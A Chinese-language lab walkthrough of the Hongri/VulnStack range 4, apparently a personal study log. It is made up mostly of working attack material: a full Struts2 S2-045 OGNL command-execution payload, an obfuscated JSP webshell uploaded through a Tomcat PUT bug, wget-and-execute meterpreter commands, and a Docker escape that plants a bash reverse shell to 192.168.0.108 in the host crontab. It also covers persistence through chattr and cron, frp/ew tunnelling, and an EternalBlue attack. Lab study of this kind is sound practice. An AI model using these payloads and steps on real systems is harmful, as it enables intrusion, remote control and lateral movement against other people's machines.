紅日4靶場復現
一、環境搭建
1.網路配置略過,注意將wireshark置於僅主機網段方便抓包
2.配置docker環境,搭建s2、tomcat、phpmyadmin #如圖一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
二、資訊收集
nmap掃描網段:nmap -sV -sS 192.168.0.0/24 #如圖一
對目標網站詳細埠掃描:nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
掃描結果顯示
22:ssh 版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
2001:struts2
2002:tomcat 版本8.5.19
2003:mysql |phpmyadmin 版本mysql | phpMyAdmin 4.8.1
圖一如下
三、漏洞檢測
1.對tomcat 8.5.19版本漏洞查詢並驗證
1.kali中查詢漏洞指令碼:searchsploit tomcat #如圖一
2.將poc指令碼複製到當前路徑:searchsploit -m /jsp/webapps/42966.py #如圖二
3.使用該指令碼驗證是否存在該漏洞:python 42966.py -u http://192.168.0.104:2002/ #證明存在該漏洞,如圖三
圖一如下
圖二如下
圖三如下
2.對s2漏洞查詢並利用,檢測結果如圖
存在s2-045以及s2-046漏洞
3.對PHPmyadmin進行檔案包含漏洞檢測
構造poc: ?target=sql.php?/../../../../../../../../../etc/passwd
四、漏洞利用
1.s2漏洞 手工getshell
1.1submit抓包
1.2構造payload
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
將payload插入到filename中
進行00截斷
成功執行whoami
使用msf進行getshell
# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
生成的payload為:
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#將;替換成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown
# 2.將上述修改完的payload進行send:
# 3.獲取getshell :sessions 1
# 4.docker逃逸
## 1.檢查是否在docker容器中:
#檢視根目錄下全部檔案,如果存在.dockerenv檔案,證明在docker中
ls -al /
#檢視系統程序cgroup資訊,存在docker欄位,證明在docker中
cat /proc/1/cgroup
## 2.檢視是否為特權模式啟動
cat /proc/self/status |grep Cap #檢查結果不是特權模式啟動,換一個getshell
2.tomcat 手工getshell
根據tomcat版本確定漏洞CVE-2017-12617
透過修改PUT方法,/繞過jsp上傳
# 1.抓包 #如圖一
修改PUT方法、jsp後新增/
木馬為:
<%
// 獲取請求引數
String H6Pv4 = request.getParameter("test");
if (H6Pv4 != null) {
// 自定義類載入器
class E9OXyWMn extends ClassLoader {
E9OXyWMn(ClassLoader parent) {
super(parent);
}
// 自定義類定義方法
public Class H6Pv4(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
// 位元組碼陣列
byte[] bytes = null;
try {
// 初始化的異或解密陣列
int[] aa = new int[]{
99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
117, 115, 127, 116, 117, 98
};
// 解密字串
StringBuilder ccstrBuilder = new StringBuilder();
for (int i = 0; i < aa.length; i++) {
aa[i] ^= 16; // 異或解密
ccstrBuilder.append((char) aa[i]);
}
String ccstr = ccstrBuilder.toString();
// 載入解密後的類
Class APh7z = Class.forName(ccstr);
// 呼叫解碼方法
String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);
} catch (Exception e) {
// 如果解密失敗,嘗試使用 Base64 解碼
bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
}
// 使用自定義類載入器載入位元組碼
Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);
// 建立類的例項並呼叫 equals 方法
Object o = aClass.newInstance();
o.equals(pageContext);
}
%>
# 3.蟻劍連線成功如圖二
# 4.透過命令判斷該環境為docker容器
#檢視根目錄下全部檔案,如果存在.dockerenv檔案,證明在docker中
ls -al /
#檢視系統程序cgroup資訊,存在docker欄位,證明在docker中
cat /proc/1/cgroup
# 5.檢視是否為特權模式啟動
cat /proc/self/status |grep Cap #檢查結果是特權模式啟動 如圖三
圖一如下
圖二如下
五、docker逃逸
1.docker逃逸,並使用nc監聽
利用方法:privileged特權模式啟動容器逃逸
具體步驟:
#檢視磁碟分割槽情況
fdisk -l
#新建目錄
mkdir test
#掛載宿主機磁碟到新建目錄中 #如下圖一
mount /dev/sda1 /test
#在kali上開啟監聽
nc -lvp 4321
#切換到新建目錄
cd /test
#新建.sh檔案
touch /test/test.sh
#寫入反彈shell命令到sh檔案中
echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh檔案寫入計劃任務
echo "* * * * * root bash /test.sh" >> /test/etc/crontab
圖一如下
2.msf反彈
# 生成elf木馬 如圖一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf
# 啟動監聽模組 如圖二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run
# 啟動一個http服務 如圖三
python3 -m http.server
# 透過nc下載攻擊機elf木馬 如圖四
wget http://192.168.0.108:8000/test.elf
# 檢查上傳成功後,新增許可權並執行 如圖五
chmod +x test.elf
./test.elf &
# 此時檢視msf監聽埠,發現已成功反彈 如圖六
圖一如下
圖二如下
圖三如下
圖四如下
圖五如下
圖六如下
3.許可權維持
# 新增不可刪除更改的許可權
chattr +i test.elf
# 建立計劃任務
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab
# crontab -l #檢視正在執行的計劃任務
六、橫向移動-frp隧道搭建
透過檢視ifconfig發現除docker外其他網路卡
六、橫向移動
1.fscan內網掃描
# 上傳fscan
upload /home/kali/muma/fscan
shell
加權執行
chmod +x fscan
./fscan -h 192.168.183.135/24
由於掃描發現開放445埠並可能存在永恆之藍漏洞,則使用msf掃描模組具體掃描一下
2.frp隧道搭建
frp服務端配置如下圖
frp客戶端配置如下圖
將客戶端配置ip為攻擊機IP
啟動frp
kali服務端啟動
chmod +x frps
./frps -c frps.toml #如圖一
meterpreter 上傳客戶端並在後臺執行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &
圖一如下
開啟socks5代理
proxychains msfconsole
修改proxychains4.conf配置檔案,設定socket代理IP及埠 #注意埠需要與frpc配置的remoteport相同 #如圖一
setg proxies socks5:192.168.0.108:6000
# 已知fscan掃描發現ms17-010漏洞,現利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445 # 如圖二三
run
session
圖一如下
圖二如下
失敗,換一個隧道搭建,使用ew
3.ew隧道搭建
新增路由建立代理:
route add 192.168.183.0/24
run autoroute -p #如圖一
#ew建立代理
kali: ./ew_linux_x64 -s rcsocks -l 1080 -e 1234 #如圖二
目標主機:
upload /home/kali/muma/ew/ew_linux_x64
chmod +x ew_linux_x64
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234 ##(或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &) #如圖三
圖一如下
圖二如下
圖三按理說應該如下,但是nc不小心讓我關了
4.使用MS17-010模組進行攻擊
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run
總是死!!!!!我服了,先上傳,我找找原因
參考文獻:實戰|記一次逃逸Docker滲透測試-騰訊雲開發者社群-騰訊雲 (tencent.com)
VulnStack|紅日靶場——紅隊評估四 - 嗶哩嗶哩 (bilibili.com)
ATT&CK紅隊評估(紅日靶場四) - FreeBuf網路安全行業門戶 #主看docker meterpreter shell
紅日靶場4 - hello_bao - 部落格園 (cnblogs.com)
內網穿透工具EW的簡單使用(附內網環境實現)_ew網穿-CSDN部落格 #主看ew使用方法